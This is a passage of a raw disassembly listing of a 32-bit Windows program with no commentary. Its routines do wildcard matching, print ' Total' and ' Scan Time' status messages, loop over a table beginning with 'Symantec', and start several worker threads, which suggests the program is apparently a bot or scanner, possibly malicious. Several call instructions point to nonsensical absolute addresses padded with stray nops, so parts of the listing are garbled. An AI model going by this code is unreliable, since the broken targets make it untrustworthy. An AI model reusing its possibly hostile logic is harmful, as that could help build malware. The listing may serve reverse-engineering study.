		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431BAC
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_431808, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431810


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431BA0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB764
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE530
		mov	ecx, dword_4CE52C
		push	esi
		push	dword_4CB764
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE530
		lea	eax, [ebp+var_200]
		push	dword_4CE52C
		push	offset unk_431BCC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB764
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE768
		push	offset unk_431C14
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C60
		push	eax
		call	sub_41C266
		cmp	dword_431808, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C50
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB764
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431808, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_431808
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CB0
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C7C
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2D42E7E8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB70[eax*8]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431D00
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CE0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431814[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDC2C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDE3C, eax
		mov	dword_4CDE38, ebx
		nop
		call	near ptr 2670343h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDD30
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDC28, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDEC0, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDE40
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDEC4, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDE40
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDEC4, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDE3C
		push	offset unk_42C210
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDE34, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDC28
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, dword_4CDE34
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDEC8, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	near ptr 2680E92h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E20
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB760
		mov	esi, offset dword_4CDED4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE0E4, eax
		mov	dword_4CE0E0, ebx
		nop
		call	near ptr 2670343h
		push	103h
		push	edi
		push	offset dword_4CDFD8
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDED0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE168, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE0E8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE16C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE0E8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE16C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE0E4
		push	offset unk_431DEC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDED0
		push	offset word_40F3AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, dword_4CE0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE170, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DB8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43181C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE760
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB94, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB88, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB90, ebx
		mov	dword_4CDC18, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB98
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDC1C, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB98
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDC1C, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB94
		lea	eax, [ebp+var_204]
		push	offset unk_431D88
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB8C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB88
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, dword_4CDB8C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDC20, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D50
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431818[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE404
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670343h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE51C, ebx
		mov	dword_4CE508, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE17C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE178, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE508
		mov	dword_4CE514, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE518, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C198
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE510, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE178
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, dword_4CE510
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE524, ebx
		jnz	short loc_40C256
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D1C
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB70h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB94C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CBA20
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
